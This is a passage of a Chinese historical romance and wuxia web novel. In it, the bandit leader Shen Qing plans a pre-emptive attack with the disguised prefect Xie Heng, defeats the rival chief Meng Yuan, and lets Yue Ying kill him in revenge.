雪映下清绝容颜,额间碎发张扬,乌尾在前,真有几分不拘于世的张狂洒脱之士风范。 一曲毕,天地间只剩寂寂风声。 还是沈青率先打破寂静,回身仰头看向谢十三:“是不是名师出高徒?我可没给你丢面吧?” 谢珩不禁也莞尔一笑:“是还不错。” 倒也不是他故意哄人,虽然没有教过别人琴艺,但也能感受到沈青的天资的确不凡,难怪学什么都快,要是一切都用在正途上就好了。 又听她继续嘟囔:“我听说啊,谢珩在弹乌尾的时候,必须要用上等的羊脂白玉做琴台,你看乌尾今天,茫茫覆雪的小金顶是它的琴台,你觉得哪个琴台更雅更妙?” 谢珩举目四望,小金顶上冰雪苍茫如瑶台仙境,乌尾发出的琴音散落于天地之间。 他也不得不坦言:“的确是小金顶上更返璞归真。” 对此沈青非常认同:“这么看来,谢珩其实也没太多真正的品味,只是比较富贵罢了。” 谢珩:“……” 一曲弹得根本不尽兴,沈青准备再弹一曲她才最新学的,她刚酝酿好将手搭在弦上,有兄弟从人群中挤了进来。 “老大,出事儿了!” 沈青只好停下动作:“什么事?” “朝廷下了圣旨,让渝州刺史谢珩务必在除夕之前剿灭渝州所有匪寨。” 这倒是让沈青有点意外:“这么急?问题是谢珩要真有这样的本事,早该把我们剿灭了,等什么除夕?” 说着她还不由得托起下巴开始思索:“那他剿匪失败肯定要被召回朝中问罪,可惜了,听说他是洛京第一公子,我都还没见他长什么样呢。” 谢珩安静地垂眸站在一边,听到“圣旨”二字原本神色凝重了不少,又听她这番话,忽然有些失笑。 那兄弟继续汇报:“我们当时截杀了庾闻,得罪了庾家,大概是庾家那边在施压,渝州官府出了悬赏金十万,要捉拿杀死庾闻的凶手。” “这不是早就发了悬赏令吗?我知道啊。” 沈青都有点失去耐心了,甚至怀疑这哥们是不是不想听她弹琴,所以没事找事。 那兄弟终于苦丧着脸说出重点:“可是覆船山和凤眼山的老大都接了这悬赏令啊。” 沈青顿时气得拍案而起:“我现在就去宰了他们俩!” 第24章 第24章可我也不想见你受到伤害…… 雪地里的琴声彻底归于沉寂,沈青领着兄弟们又回了议事厅,听人把情况说清楚。 原来谢珩许以重利,放下十万赏金的悬赏令,直接送到徐唐和孟渊手上,并许诺二人,若是能将杀死庾闻的凶手捉拿归案,渝州都尉的官爵亦会给两人奉上。 莽山和其他山头的匪寨这些年能维持表面和睦,甚至偶尔联手,主要是为了对抗官府,虽然各自为政互看不惯,可是也互相依存唇亡齿寒。 谢珩来了渝州后,虽有招安之意,谁都看得出这是缓兵之计,何况最有势力的莽山不肯接受招安,他也没有考虑其他山头。 但是这一次不一样。 圣旨下来,面对朝廷,恐怕再不是之前那样小打小闹。 这注定是一场你死我活的决战,双方势均力敌的情况下,谁能争取到渝州其他匪寨势力,谁就有胜算。 明明是三个人参与了对庾闻的截杀,谢珩现在不仅把另外两方摘得干净,还给他们高官厚禄,是下了血本从内部瓦解渝州各匪寨之间的势力。 对于徐唐和孟渊来说,谢珩抛来的橄榄枝也足够诱人,与其继续跟沈青站在一条船上被朝廷和天下世家围剿,还不如早早投诚,剿灭了沈青,从此过上高官厚禄的生活。 沈青气得牙根发痒,沉着一张脸将前因后果全部听完。 萧瑞也直拍大腿:“三个人参与截杀庾闻,然后赏赐另外两个人去捉凶?哼,这比那个什么二桃杀三士还恶毒啊!大哥,谢珩挑拨离间,分明就是想借徐唐和孟渊的手来除掉咱们!” 这会儿,沈青倒不怒反笑起来:“不是借徐唐和孟渊的手来除掉我,是借我的手来除掉徐唐和孟渊。” 谢珩闻言不由得豁然抬眼看过去。 旁人一看,都觉他这招挑拨离间是借其他匪寨来剿灭沈青,只有沈青能一语道破他真正包藏的心思。 他从不认为,沈青是能被联手剿灭的,要与沈青作对,死的只会是他们。 沈青现在便是他手中的一把快刀。 沈青自负,想法亦然。 果然,心中刚生出一丝惺惺相惜之意,就见沈青不屑一笑:“谢珩这人,虽然有钱,但吝啬得很,你觉得他真舍得给出十万赏金和两个渝州都尉的官职?嘴上说说而已,把那两个蠢货哄得不知天高地厚。” 她由衷觉得:“ 就算联手,这两人也很难是我的对手吧?” 萧瑞也立刻明白是怎么回事了:“那这么说来,谢珩不过是在驴子眼前画了个萝卜,就把我们给瓦解了?最后他只用等着坐收渔利就行了?不是……那徐唐和孟渊看不明白吗?” 沈青翻了个白眼:“本来咱们跟其他山头的关系,就是靠着能一起跟官府对峙在这儿撑着,现在官府主动给你阳关道,你还想挤独木桥吗?两个选择中,他们也只是选了看起来对自己更有利的罢了。” “何况……这些年我也是太给他们脸了,他们可不觉得联起手来打不过我。” 萧瑞并不服气:“那我还是会把目光放长远了看,且不说谢珩那些许诺能不能兑现,就算投诚了,都不知道人家怎么秋后算账呢。” 沈青正色盯着他看了眼:“萧瑞,你跟他们不一样。” 说起来,庾闻虽然死在她手下,她只不过是出手完成了最后一击罢了,而且还是为了在庾闻的刀下救孟渊一命。 今日就被孟渊揪着这点来反咬,这种小人,早点撕破脸皮了才干净。 见她这么严肃,萧瑞也没了底气:“大哥,那接下来我们怎么办?” “怎么办?我也不知道啊,”沈青两手一摊,深深叹了口气:“反正就兵来将挡水来土掩呗,你去召集所有兄弟严阵以待,等那两个蠢货联手攻上来,让他们又去无回好了。可惜这样多少有些两败俱伤,谢珩肯定会要趁虚而入的。” 说话间,她正好瞥到身边一直沉默着的谢十三,顿时有种恨屋及乌的愤愤:“早知道当初就该硬碰硬直接跟谢珩拼了!噢不,真应该在他刚来渝州的时候,就先把他偷偷暗杀了,哪还有后来这么多事啊!” 谁知道呢?她当时真以为谢珩就是一个花架子来着,哪里想到这人会是自己的劲敌啊! 说起谢珩,她怎么说都不解恨:“哼,这人安分了一阵,果然在憋坏招,肯定就是上次跟我联手找到的灵感!诡计多端!阴暗无比!” 谢珩等她劈头盖脸终于骂完,才温声开口说话:“既然谢珩离间你们三个,那你也可以效仿,离间他们两个便是。徐唐和孟渊之间,关系应该也没有到同生共死那样紧密的地步吧?” 这些天,他也算摸清沈青看似勇猛实则被动的性子,她总习惯于走一步看一步,可以无所畏惧地直面铺天盖地而来的变数,却很少自己主动去变换局面。 他的一番话果然引发沈青新的思索:“你什么意思?” “为何一定要等他们联手攻上来,我们不可以先发制人吗?” 谢珩看向她,没有从她脸上看到认同,反倒是被她欺身逼近,一种久违的压迫感笼罩而来。 “你为什么帮我破谢珩的局,你有何目的?” 大敌当前,沈青终于对美色保持了一定的理智。 谢珩倒是坦然:“没有破局,只是帮你减少些损失。徐唐和孟渊再不济,两人联手也有万众,真拼起来,就算你赢,莽山也必定要元气大伤,只有各个击破,对你来说才是损失最小的。” 沈青不语,盯着他继续说下去。 谢珩无奈叹息反问:“那你还有其他选择吗?” 沈青倒真被他问住了,虽然沉默,眼神却不曾从谢珩脸上离开,她仔仔细细盯着他那双蛊惑人心的眉眼,换来的是对方的坦荡回望。 她想到了那日在三岔湾,徐唐和孟渊的滥杀行径,给谢十三带来过多么深重的冲击。 于是她又重新缓缓坐回自己位置,最后给了他一记眼刀:“不准有对不起莽山的歪心思,不然我要是死了,也必须拉你陪葬!” “嗯。” 谢珩脸不红心不跳地这么“嗯”了一声,明明是自己发出来的声音,他忽然觉得有些刺耳,像被什么在心口划拉了一下。 自来了小金顶,无论沈青跟渝州官府对峙到怎样的程度,他都没有被迁怒过,甚至也没有太多防范他,始终像是拿他当自己人对待。 这一次,终于也是到了决战在即的地步。 他脑海里突然就生出一点希冀,如果谢珩跟谢十三,真的就是两个人的话…… “如果我们要先发制人,那就直接去攻打凤眼山。”沈青重新开口,打断了他游走的思绪。 她这会儿迅速接受现实和谢十三的建议,立刻与萧瑞权衡起来。 “孟渊这人,实力确实更雄厚些,所以也自视甚高,没那么多心眼子。要是我们去攻打徐唐,他必定会派兵驰援;但是徐唐就不一样了,实力不强,心眼子倒有八百个,覆船山这些年的壮大,也多靠他精心算计左右逢迎。我们要是举全力只攻打孟渊,把徐唐晾在一边,他大概会瞻前顾后,迟迟不敢出兵。” 她抬手接过萧瑞适时递上的凤眼山地形图,一把在桌上铺开:“渝州所有的山寨都大同小异,都是依山而建,易守难攻。那我们就召集所有兄弟们,一路攻上去就是了。” 她指尖点了点孟渊的凤眼山牛头寨所在的位置,简单粗暴做完了布署,听得谢珩不由得抬手扶额。 这人时而机灵狡黠,时而又有些太耿直粗暴了些。大概真是仗着自己实力雄厚有恃无恐。 “不妨……听我一言吧。” 他抬眼看向沈青,得到默许后才继续道:“虽然渝州所有山寨都看上去大同小异,但凤眼山和小金顶还是不一样。小金顶除了主路,四面都是悬崖,凤眼山的山顶,四面却是缓坡,并没有那么得天独厚。” 他取过图纸,用朱笔圈了几个地方:“不必所有兵力集中攻打山寨,以免不必要的折损。若是孟渊没有后援,我们在人数上有绝对优势,他既然要下山来攻打莽山,我们就让一部分兵力在凤眼山主坡半道上伏击他,另一部分兵力就从四面往上攻,直取兵力空虚的主寨,最后让他进退无门。” “至于徐唐,应该会与孟渊约好各自下山,然后中间汇合后再攻打莽山,你可以大张旗鼓去攻打孟渊,然后派少部分兵力去拖住徐唐,只要在剿灭孟渊前,徐唐没有出手,最后他也孤掌难鸣。” 沈青本来是有一肚子气连带着看他也不顺眼起来,可是这会儿看他清清冷冷半垂着眸子,轻描淡写间的运筹帷幄,便定了人的成败生死,也再对他迁怒不起来了。 她不由得歪头问他:“你看上去还懂得挺多?” 谢珩倒是谦虚:“平时跟在族兄身边,有些耳濡目染了。” 沈青顿时惆怅,谢珩身边一个小跟班,都这样懂得谋略,怪不得谢珩这么厉害。 她忽然追问:“我跟谢珩之间,不是他死就是我活,那你希望谁赢?” 谢珩没想到她这么问,下意识别过脸,避开她的目光。 见他为难,沈青偏要掰过他的肩膀盯着他看:“你说嘛,咱们这么些日子同床共枕,这关系还不够你跟我说句实话吗?” “哐当”一声,萧瑞手中纸笔掉在地上,他忙弯腰去捡。 “我什么也没看到,你们继续!” 他佝偻着身子,挥手招呼着一众同样看热闹的兄弟们纷纷退出去,偌大的议事厅顿时只剩两个人影。 沈青自然没去管他们,只直勾勾地盯着谢珩:“快说!” 谢珩挣不开她的手也避不开她的眼神,只好如实作答:“我……还是希望我的族兄能赢。” “什么?” 沈青手上一紧,恨不得捏碎他的肩膀,可心里到底是觉得没意思极了,重重地“哼”了一声,一把将他远远推开。 谢珩被她推得踉跄退了几步,胸腔里那颗心脏落空得厉害,还来不及思索,他听见自己的声音:“可我也不想见你受到伤害。” 两个人都愣住。 有冷风从 窗外吹入,桌上几张图纸被吹得翩飞,从两人视线中间掠过。 自觉失言,谢珩忙解释:“我的意思是……” “等等!”沈青打断他,一脸真挚的疑惑和探究:“你不会是……开始在乎我了吧?” 谢珩一张白皙的面容可见地染上绯红,沈青眼睛一亮:“你脸红的样子,比晚霞还好看!” * 谢珩自觉,自从发现了沈青那不可为人所知的“隐疾”后,不知不觉纵容了他许多,以至于他越发轻佻而得寸进尺了。 本该避而不见一段时间才好,不过沈青已经开始调兵遣将了。 那姑且最后再忍耐些时日吧。 徐唐和孟渊公然接了悬赏令,直接跟沈青划清界限,彻底站到了官府那边,自然没有留太多时间给她喘息,两座山头集结好人马,声势浩大准备向莽山进攻。 沈青这边也不甘示弱,她听取了谢珩的意见,先发制人,先集结了小金顶上所有兄弟,又放了狼烟号令莽山其他山头兄弟,整个莽山几乎倾巢而出,势必要在孟渊下了凤眼山之前,截杀孟渊,攻取凤眼山。 在那些五大三粗兄弟们的簇拥下,沈青还是青衣笔挺,略显得单薄清瘦,可是她只需站在那儿,就是睥睨万物的桀骜,人人都要为她臣服。 谢珩将他这号令千军的气势默然看在眼中,想起他昨日还冲着自己一脸天真散漫地嬉笑,心绪也有些低沉下去,如果这匪头只是寻常人家的小公子……那朝廷便也少一心腹大患。 感受到他的目光,沈青也看了过来:“你想跟我去凤眼山,还是留在小金顶?” 谢珩硬着头皮没有避开她:“去凤眼山。” 事关重大,他必须在沈青身边一刻不离,以免出什么纰漏,至于其他的……暂且还能忍耐一番。 沈青露出一个心满意足的笑:“不错,看来你确实是在乎我的安危。” 谢珩无语,垂眸忍受着其他兄弟纷纷投来的戏谑目光,忽然又听到她在问:“岳瑛呢?带上她一起吧。” 岳瑛像是早在等这一刻,沈青一开口,她就从人后款款走到她身边。 浅绯襦裙,玉簪银环,秀雅可人。 看着沈青自然而然地挽上岳瑛的手臂,谢珩的眉头微不可察蹙了一下。 生死攸关的杀戮间,还要带上一个手无缚鸡之力的女流之辈?当这是去郊游吗? 不过沈青可听不见他的腹诽,可惜小金顶没有养马,虽然刚才调兵遣将的时候挺威风,但现在有岳瑛,她只好带着岳瑛坐在牛车上,一起在队伍中不前不后地行进。 左拥右抱,还真像是去郊游。 到了三岔口,莽山所有山头的兄弟都下山汇集于此,近万人众,浩浩荡荡,这是谢珩第一次如此直观地看到莽山势力完整地呈现在眼前,亦不免再次心惊。 沈青拨了一小支队伍给了萧瑞和赖三:“我们就从这里分开行动,你们速去覆船山下拦住徐唐,你们人少,不必跟他起冲突,只需要尽可能拖延时间阻止他前来援救孟渊,你们坚持到我放出信号弹,那说明我已经宰了孟渊,便会带着兄弟们回头来跟你们汇合。” 萧瑞拍拍胸口:“放心吧,跟徐唐那种人周旋,我最在行了。估计等他看到信号弹,知道孟渊死了,要吓得满地打滚。” 沈青沉吟一下,补充道:“你跟徐唐说,要是他不插手我们跟孟渊之间的决斗,我也可以暂时不动他。” 这样的关卡,每一根墙头草都应该争取。 “放心交给我好了,大哥,那我们先走了。” “事不宜迟,别贻误了。” 沈青不多废话,一路目送萧瑞和赖三领着一众兄弟们往另一条岔路上越走越远。 他们原先也不是没有跟其他山头火拼决斗过,尤其她接手山寨那几年,不知大大小小吞并了多少寨子,可这次她总觉得心中特别凝重。 可能因为这一次,背后一切都是谢珩在搅弄风云吧。 “我们也走吧,得在孟渊下山前截住他。”见她迟迟不动,谢珩出声提醒。 沈青回过神来,她还有另一件事在忧心:“我们这次也算是倾巢而出了,你说谢珩会不会趁这时候,攻占小金顶?” “不会,”谢珩笃定:“没有沈青的小金顶,他要来有何意义?” “这么一说好像也是,不过我们三都乱成这样了,也不知他躲在哪里隔岸观火,”沈青语气中带着鄙夷:“然后趁我收拾完孟渊和徐唐元气大伤后,趁机出兵将我剿灭了。” 谢珩没有再接话。 沈青最烦这种将对方伎俩看得透透的,但又不得不奉陪的感受。但愿一切顺利,在对付孟渊和徐唐的时候,能尽可能多保存一些实力吧。 “兄弟们,今日我们就去拿下凤眼山!昨日分配的兄弟从四面包抄直取主寨,剩下的随我主路上山,截杀孟渊!” 沈青振臂一呼,兄弟们响应声如洪钟,气势浩然得竟胜过朝廷大军。 不同于之前在三岔湾截杀庾闻,也不是在青煞口怒杀官兵那样,这次她完全没有身先士卒,而是继续携岳瑛谢珩坐在牛车上,跟在队伍中间不疾不徐地行进。 越往上行,山上的积雪越深。 明明是同样的山林积雪,说不上为什么,对谢珩来说,总觉得莽山的景致看得更习惯。 相比于兄弟们的义愤填膺气势汹汹,沈青枕着双臂半躺在牛车上,倒是闲适很多。 并不是她惫懒,而是身上葵水还没有完全走干净,于她蓄力杀敌颇有些拖累,一想到等会儿要面临的对手,还是多积攒些力气。 队伍冲上凤眼山,跟下山去攻取莽山的队伍终于撞上,两方人马立刻在山林里杀成一片。 沈青只是坐直了身子,并没有跳下牛车。对面来的人里面,她还没有看见孟渊。 这样强烈血腥的冲击让岳瑛非常不适,她虽极力克服着,最终还是忍不住瑟缩了身子,往沈青身上靠。 沈青抬手挡住她眼睛:“别看了。” 岳瑛白着一张脸摇摇头:“没事,没什么不能看的。” 沈青也任她坚持,只是在刀光剑影中,轻轻搂住她肩膀。 谢珩就坐在身边,忽然出言打断这样的画面:“怎么这一次,你倒是知道要保存实力了?” 沈青轻飘飘道:“这个孟渊,到底还是跟官府那些废物不太一样。他的刀法刚烈浑厚,跟我不是一个路子。反正他能在渝州撑起凤眼山,是有本事的,若不是谢珩逼的,我是不想招惹他。” 谢珩有些意外:“你打不过他?” 沈青懒懒下了车:“打那肯定打得过,不过大概我也要受点伤。” 谢珩和岳瑛还未反应过来她为何突然跳下牛车,只见她撑开手掌用力一推,老牛拉着承载着两人的牛车在雪地上滑出好几丈远,她猛地回身一偏,堪堪躲开从头顶劈下来的那柄钢刀。 她笑眯眯冲来人打了个招呼:“孟寨主,别来无恙啊。” 来人一声不吭,挥刀哐哐往下砍,好在沈青灵动,左右避开后跳脱出大刀的攻击范围,在一截被残雪掩盖的枯木上落稳了脚。 她不紧不慢摊了摊手:“孟寨主,你这可就没意思了啊。” 孟渊终于暂时停手,缓了一下内息,冷声道:“今天不是你死就是我活,哪那么多废话?” “搞清楚,今天是你死,我活,”沈青纠正他,不过也好奇:“反正你也打不过我,为什么不拖延时间,等徐唐来救你呢?” 孟渊冷笑一声:“既然你倾全力只攻击我凤眼山,那个缩头乌龟肯定不会来了。” 沈青的语气变得无比惋惜:“你看咱哥仨这么多年来也是默契了,我都舍不得杀你了。可惜我杀庾闻救了你一命,反被你做了朝廷走狗拿这事咬我,那你今日必须去见阎王。” 一语撕开所有遮羞布,孟渊一把钢刀犹如铺天盖地之势席卷而来。 这一次,他没有给沈青抽身机会,钢刀紧紧缠封住她所有出路,逼得她不得不近身与他相搏。 沈青被困在方寸之间,猛地惊觉手边没有一个趁手的武器,刀刀紧逼之下,她只好咬紧牙关 ,在致命一刀砍下来之前,撑出手掌,空手接白刃! “阿青!” 第25章 第25章当真是天下难寻的好夫君…… 岳瑛吓得惊呼,谢珩睫羽未动,凝眸盯着那道青影徒手破开钢刀围困,势如破竹一般跳脱出来,雪地上淋漓滴落几滴血,鲜红夺目。 沈青迅速反手从孟渊身后一个手下手中夺下一把长刀,抬手一横,虎口被狠狠震得发麻,将孟渊的致命一刀挡开。 谢珩半松了口气,惊觉自己袖中紧捏着机巧的指尖竟捏得发疼,忙不动声色暗暗松开。他与岳瑛同在牛车上,混战中,一直被几个兄弟保护着,倒也无人近身,只能远远继续看两人缠斗。 “怎么办?”向来性子稳重的岳瑛,手足无措,不自觉看向了谢珩。 谢珩微沉着一张脸,屈身下了牛车,守在一边的兄弟们还来不及阻拦,就见他快步走进刀光剑影里。 孟渊的刀法果然至纯至烈,几乎可独步天下,沈青可气他们凤眼山还是比较有钱,武器都是统一的,她也只能抢来一把刀,但用得并不趁手,在孟渊那把厚重钢刀猛烈的攻势下,还是占了下风。 何况刚才她手上受了一刀,再消耗下去,也是对她不利。 她只好瞅准时机咬牙急攻,长刀脱手,堪堪在孟渊脖子上划过一道口子,铮然一声扎进后面的树干中。 见她手上又没了武器,孟渊狞笑着摸了摸只是渗出一点血的伤口,继续挥刀杀来。 沈青半蜷在地上全神贯注,一双黑白分明的眸子紧盯着前方,像一只随时准备反击的小兽,等着第二次空手接白刃。 手掌一侧伤口还在渗血,滴落在白雪之上,她全然无觉。 眸光中只见白刃一闪,她正要跃身而起,忽然余光中有什么朝她斜斜冲来。 “沈青!” 她听见谢十三正厉声喝她大名,她凝眸一看,人正站在离她数步之遥的方位。 没有给她时间反应,她便看到谢十三手中明晃晃一把锃亮的匕首,脱手而出,直奔向她心口。 谢十三这是要借机伺乱杀了沈青! 所有人都有了瞬间呆滞,连孟渊挥刀而下的动作都凝滞一瞬。 沈青也跟着面色一白,眼睁睁看着那把匕首直入心窝,忽然心头灵犀一动,她身姿翩然翻转,那匕首就稳稳落在手中了。 真是轻便趁手! 手中有了趁手的武器,她不必再担心孟渊的刀刀紧逼,反而主动将自己卷进他的攻势中,重新贴身搏斗起来。 匕首近身,可是专克长刀的。 灵动青影在刀光之间游走,这回轮到沈青不依不饶步步紧逼了,那张清绝的容颜尽是冷漠的杀意,不动声色的一招一式,像是阴司里来索命的玉面修罗。 不过,谢珩很快就发现了不对劲。 以沈青之身手,利刃在手,最擅长近身后瞬间发力让对方毙命。但是她这次并没有这样做,搏斗间,反而徐徐给对方留有喘息余地。 高手相搏,往往总在一招半式之间,既然给对方留有余地喘息,对方自然要拼命反击。 于是两人之间出现了你捅我一刀,我还你一刀的诡异画面,渐渐地,白雪地上淋漓鲜血越来越多,混在一起,融进雪中,分不清哪是谁的血。 谢珩再沉不下气:“沈青,你直接杀了他啊!” 话音未落,沈青闷哼一声,肩上又被砍了一刀,她似乎感觉不到疼痛,也不再躲避对方的攻击,抬手也给了孟渊一刀。 谢珩彻底看不懂也不想再看懂,袖中银丝不受控制翩然飞出。 “阿青,你不要管我了,直接杀了他吧!” 岳瑛撕心裂肺的哭喊格外凄烈,谢珩被猛然唤回一丝理智,生生收回已经冲出去的银丝,被反击回来的冲劲逼得踉跄退了两步,好在无人在意。 他终于恍然大悟。 两人虽然打得血肉淋漓,细看还是沈青处于绝对碾压对方的姿态,虽避开孟渊要害,招招往打断他骨节挑断对方经脉而去。 孟渊则已经是困兽之斗,本能出手反击,也伤不到沈青要害。 “你有本事就直接杀了我啊!” 他怒吼一声,口齿带血,用他最后一只还能用力的手举刀而下。 “这会儿想死了?那也不能死这么便宜。”沈青侧身避开瞬间,匕首在掌心中一旋,只听得一声惨叫,孟渊魁梧高壮的身躯直直倒下,匍匐在地上喘着粗气。 莽山其他兄弟们见状,纷纷齐声大喝:“孟渊被我们老大制服了!” 纷乱的刀剑声渐渐停下,大势已定,凤眼山的匪徒们识趣地一一扔下手中刀剑。 沈青一身青衣被血染成暗色,她如释重负地掸了掸,站稳了身子。 谢珩快步朝她走去,一道清丽窈窕的身影跑得更快,冲过去抓着她上下一个劲儿打量:“你怎么样?伤得重吗?你明明就该直接杀了他啊!” 岳瑛急得眼泪簌簌落下,沈青用力拍了拍自己肩膀:“放心放心,我有分寸的。” 谢珩无声地停下脚步,沈青的目光也根本就没有看向他这边,而是低着头继续跟岳瑛说话:“你不是一直想亲自动手吗?你害不害怕?” 岳瑛一双杏眼里还含着泪,她望了望趴在血泊里还喘着粗气的人,嗫嚅着惨白双唇,语气却是执拗:“我怕,可是我要亲自动手。” 沈青将血淋淋的匕首递到她手上:“那我就站你旁边。” 岳瑛颤抖着手接过匕首,对准孟渊的后心。 沈青知道,这一场景她已经在脑海里演练了无数遍,也不干涉她,只是最后忍不住轻叹一声,算是跟孟渊告别:“孟寨主,你我本来也算是同过一段路的人,应该给你个痛快才是。可惜你与我夫人之间有血海深仇,我只能将你交由她来处置。黄泉路上,到时候给你浇壶酒吧。” 孟渊“呸”地吐了口血,挣扎着想起来却只是在地上四肢扭曲了几下,眼神中满是不甘:“我要是死在你这个小白脸手中也就罢了,没想到竟然要死在这臭娘们手上!” 沈青好心安抚他:“你就当牡丹花下死,下辈子投胎做个风流鬼吧。” 两人嘴上正有来有回,岳瑛忽然毫无预兆地用力将匕首准确无误扎进了孟渊的后心,孟渊戛然声止,眼神中流露出的痛苦转瞬即逝,扭曲这一张脸许久都没说出话来……就这样气息已绝。 温热的血溅得沈青一脸,她抬手一擦,白净脸上一片斑驳,她也被惊了一下,没想到岳瑛就这样动手了,她垂眼去看,岳瑛一双手还紧紧攥着匕首,紧绷着身子用力将匕首继续往里扎。 “岳瑛!岳瑛,他已经死了。” 岳瑛茫然回头看她:“孟渊死了?” 沈青眼疾手快,俯腰伸出手臂一把捞住摇摇欲坠的人,感受到她在自己臂弯里抖得厉害,眼神也还紧紧盯着孟渊狰狞惨死的尸身,像是在不停地说服自己:“是你,是你杀了我父母兄弟,他们就是这样被你杀的,我杀了你……我该杀了你……” 见她骤然杀人大仇得报之下,神情都恍惚失常了,沈青一面示意身边兄弟赶紧把孟渊尸身拖走,一面将扶着岳瑛肩膀将她摇醒:“没事没事,孟渊已经死了,你亲手替你父母兄弟报了仇,一切都结束了。” 听到她的声音,岳瑛的眸子里才渐渐像回了魂聚焦起些神色,山顶忽然划过一枚明亮的信号弹,在空气中一阵急促锐鸣。 沈青和岳瑛同时仰头,信号弹在头顶的空中炸开,迸发出璀璨的光,一闪而过照亮了两人白皙面容上印着点点血色。 是从四面包抄上去的兄弟们,拿下凤眼山的主寨了。 身边马上有兄弟放出手中信号弹作出回应,明光冲出林间,同样在空中轰然炸开后,一切归于沉寂。 整个山林间都同时静默着,等了许久,没有等到山下第三枚信号弹的到来。 沈青顿生警觉,萧瑞那边出意外了吗? 不容 她想太多,她先将岳瑛扶了起来:“这里大事已了,你别想太多了,我先去山下跟萧瑞汇合,你待在这里兄弟们也会护你周全。要是你想先回去,也可让人先护送你回小金顶,回去等我也行。” 岳瑛这会儿已经找回理智:“你先去办你的事,不用管我。” 沈青这才放心开始安排布署:“先来一部分兄弟们先跟我下山去跟萧瑞碰头,剩下的兄弟们跟山顶的兄弟们汇合,最好今日能做完凤眼山的善后。” 她说完,兄弟们立刻都有条不紊开始各归其位各司其职,她正带人离开,忽然被一道声音喊住。 “沈青。” 谢珩其实离她不过几步之遥,往她身边走的这几步,脚下忽有千金重。 他总算是明白,这人为什么宁可跟那孟渊互捅刀子搞了一身伤,也不顷刻间将人毙命,原来是想制服了对方,好让自己夫人能亲手报了血仇。 当真是天下难寻的好夫君。 沈青闻声转过头,像是终于缓过气来,对他粲然一笑:“方才多亏你给我挑的那把匕首,果真趁手!” 干净明亮的笑意映在眼中,谢珩心中一涩,不知为何就问出一句:“你不怕我刚才是真对你起了杀心?” 沈青依然笑得毫无芥蒂:“我跟你天天睡在一起,你真要动手,还需费尽心思等到这时候?” 谢珩被她哽得无话可说,没来得及再说什么,沈青记挂着萧瑞那边的情况,不再耽搁转身走远。 她领着一众兄弟们走得很快,无人说话,山林间只有脚步飒飒踩在雪地里的声音。 谢珩闷着一张俊脸,跟在沈青身后保持着只有半步的距离,一抬眼就能看到那副并不算宽阔但很挺拔的肩背,一身青衣早就血迹斑驳十分狼狈,甚至有些伤口还在继续往外渗血,刺得他眼疼。 本来今日的确是要借他的手来除掉孟渊,按今日的布署,他不应该受这么多伤。 没人知道,接下来面对的徐唐,其实还有一场激战……谢珩忽然对自己已经做好的决定生出了一丝退缩之心,希望沈青不要再继续往前走下去。 “谢十三,你是不是走不动了?” 察觉到他落后了些,沈青回身一把拽住他的胳膊让他跟自己并肩,扬起一张血迹斑驳的小脸关切起来。 谢珩微蹙了一下眉头,语气冷硬道:“为何你身上从不带兵刃?这种大战时刻也不带任何兵器吗?” “你问这个啊,”没想到他竟然还在纠结这事,沈青索性跟他解释清楚:“对于我这种高手来说,兵刃就是累赘,尤其是如果我随身只惯用某一个武器时,那可太有软肋了。真正的高手,都是随手取来的飞花走叶,皆可为我所用。” 谢珩冷眼嘲她:“那你先前跟孟渊打斗的时候,不就是因为手上没有兵器,开始便落了下风吗?” 沈青反问:“那最后你不是给我扔了把合适的兵刃过来吗?” “那如果我今天不在你身边呢?” 谢珩真是受不了他总是有一堆歪理,语气忽然重了起来。 沈青被他吼得一愣,灵机一动:“原来你这么关心我啊!放心,根本没事的,我从来不带武器,比这情况更凶险的都不知道遇到过多少次……” 谢珩不想再听,沉着一张脸看向别处,任他扯着自己的袖子继续往前走。 罢了,他要宠爱自己的夫人,他心甘情愿,旁人还能阻拦不成? 沈青说了半天,见他脸色越来越沉,不像是平时那般好欺负的样子,自觉闭上了嘴。但总觉得这人很是莫名其妙,想了半天自己哪里得罪他了,最后顺手在路过的树梢上抓了一把雪,在脸上擦了擦,好歹把脸上重新擦拭得皎然干净。 算了,一定是因为关心则乱! 两人重新静默下来,林间又只剩飒飒踩雪的脚步声,只是走着走着,一群人的脚步声中,又多了一群人的脚步声掺杂了进来。 相比起来,忽然多冒出来的脚步声显得仓促凌乱了许多。 “老大,有人来了,咱们先隐蔽了还是直接上?”兄弟们都纷纷警觉起来,等着沈青的一声令下。 沈青侧耳听了几声:“不必了,是我们自己的兄弟。” “大哥!” 话音刚落,峰回路转间的濛濛雪色中,果然仓促跑出来一群人,打头的那个一瘸一拐,看到沈青的一瞬,终于体力不支扑倒在地。 那血糊糊的一身,还真是比她好不到哪里去。 “萧瑞!” 沈青心中被狠狠一震,冲了过去。 第26章 第26章飞身扑向空荡荡的断崖…… “萧瑞……你……你哪出问题了?完了完了,你可千万不能死啊!” 沈青从未有过这样的慌乱,嘴里虽然说着不着边际的话,手头已经上上下下将他检查了个遍。 萧瑞身上被她**得痒得不行,强撑着一口气重新让自己坐了起来:“没有致命伤,就是伤有点多……” 沈青脸色白了又白,不知道是因为受伤失血还是刚才被萧瑞这幅模样吓到了,听他说没有致命伤,她才重新哑声开口:“发生什么事了?” 谢珩在一边,侧眼打量了一下萧瑞身上的伤,“撕拉”一下撕下自己衣襟蹲下来替他包扎起来。 的确是没有致命伤,但有几处伤口不及时处理的话,他再多跑一会,身体里的血估计也就流干了。 至此,他真的很怀疑,这两兄弟到底是怎么安然无恙活到现在的。 萧瑞缓了一会儿,终于又恢复些说话的力气:“我们也不知道发生了什么,今日刚跟徐唐对上,我都还没来得及开口说话,他们的人就动手了,铺天盖地杀了过来,我们寡不敌众……是……是赖三带着几个兄弟拼死垫后,才给我们一众兄弟换了个死里逃生。” 连开口说话的机会都没有? 沈青不由得怒骂:“徐唐什么时候这么有种了!?” 正在给萧瑞包扎的谢珩,手上动作也顿了一下,他的布署……中间竟然出了差错。 “那赖三人呢?出来了没?”沈青急着追问。 “赖三……” 萧瑞嗡动着双唇,没有再说下去,虚白的脸色上,活脱脱就写着“凶多吉少”四个字。 沈青当机立断站起了身:“兄弟们跟我下山去救赖三,剩下几个护送萧瑞回去。” 她话还没说完,身形已经灵动翩然出了好几丈,忽然又顿住脚步:“等等,你们不用跟着我了,他们人多,带你们去也是送死,别白浪费了赖三拼死送你们出来。等山上兄弟们下来,大家一起来。我一个人先去。” “大哥,你也别一个人去……” 萧瑞虚弱着声音想喊住她,青影如燕已消失在挂着积雪的树梢间。 “救得了我就救,救不了我一个人脱身不难!” 青影所过之处,雪上洁白无痕,只剩飒飒落落一句话荡在林间。 